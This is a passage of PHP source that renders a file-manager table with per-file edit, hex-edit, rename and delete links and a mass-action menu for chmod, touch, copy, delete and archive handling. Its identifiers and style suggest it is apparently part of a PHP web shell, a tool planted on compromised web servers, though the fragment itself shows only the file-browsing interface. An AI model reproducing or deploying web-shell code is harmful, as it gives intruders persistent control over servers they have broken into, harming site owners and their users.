/>\n\t\t\t</div>\n\t\t\t<span id='" . cs($s_l) . "_link'>\n\t\t\t\t<a href='" . $s_self . "edit=" . $s_cwd . $s_l . "' title='edit' onclick='return false;'>edit</a> |\n\t\t\t\t<a href='" . $s_self . "hexedit=" . $s_cwd . $s_l . "' title='edit as hex' onclick='return false;'>hex</a> |\n\t\t\t\t<a href=\"javascript:tukar('" . cs($s_l) . "_link','" . cs($s_l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t<a href='" . $s_self . "del=" . $s_cwd . $s_l . "' title='delete' onclick='return false;'>del</a>\n\t\t\t</span>"; $s_total_file++; } if ($s_l != '.' && $s_l != '..') { $s_cboxes = "<input id='" . md5($s_lhref) . "' name='cbox' value='" . $s_cwd . $s_l . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' />\n\t\t\t\t\t\t<label for='" . md5($s_lhref) . "' class='css-label'></label>\n\t\t\t\t\t\t"; } else { $s_cboxes = "~"; } $s_ldl = str_replace("__dlpath__", $s_l, $s_arc); $s_buff .= "\n\t\t<tr>\n\t\t<td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td>\n\t\t<td class='explorelist' title='" . $s_lnametit . "' ondblclick=\"return go('" . addslashes($s_lhref) . "',event);\">\n\t\t\t<a href='" . $s_lhref . "' onclick='return false;'>" . $s_lname . "</a>\n\t\t</td>\n\t\t<td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>\n\t\t" . $s_owner_html . "\n\t\t<td style='text-align:center;'>" . gp($s_l) . "</td>\n\t\t<td style='text-align:center;'>" . @date("d-M-Y H:i:s", filemtime($s_l)) . "</td>\n\t\t<td>" . $s_laction . "</td>\n\t\t<td>" . $s_ldl . "</td></tr>"; } $s_extract = ""; $s_compress = ""; if (class_exists("ZipArchive")) { $s_extract .= "<option value='extractzip'>extract (zip)</option>\n\t\t\t\t"; $s_compress .= "<option value='compresszip'>compress (zip)</option>\n\t\t\t\t"; } if ($s_tar) { $s_extract .= "<option value='extracttar'>extract (tar)</option>\n\t\t\t\t\t<option value='extracttargz'>extract (tar.gz)</option>\n\t\t\t\t"; $s_compress .= "<option value='compresstar'>compress (tar)</option>\n\t\t\t\t<option value='compresstargz'>compress (tar.gz)</option>"; } $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>\n\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t<input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' />\n\t\t\t<label for='checkalll' class='css-label'></label>\n\t\t\t</td><td>\n\t\t\t<select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'>\n\t\t\t\t<option value='' disabled selected>Action</option>\n\t\t\t\t<option value='cut'>cut</option>\n\t\t\t\t<option value='copy'>copy</option>\n\t\t\t\t<option value='paste'>paste</option>\n\t\t\t\t<option value='delete'>delete</option>\n\t\t\t\t<option value='' disabled>-</option>\n\t\t\t\t<option value='chmod'>chmod</option>\n\t\t\t\t<option value='touch'>touch</option>\n\t\t\t\t<option value='' disabled>-</option>\n\t\t\t\t" . $s_compress . $s_extract . "\n\t\t\t</select>\n\t\t\t</td><td colspan='" . $s_colspan . "' style='text-align:left;'><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories</td>\n\t\t\t</form>\n\t\t\t</td>\n\t\t\t</tr></tfoot>\n\t\t\t</table>\n\t\t\t"; return $s_buff; }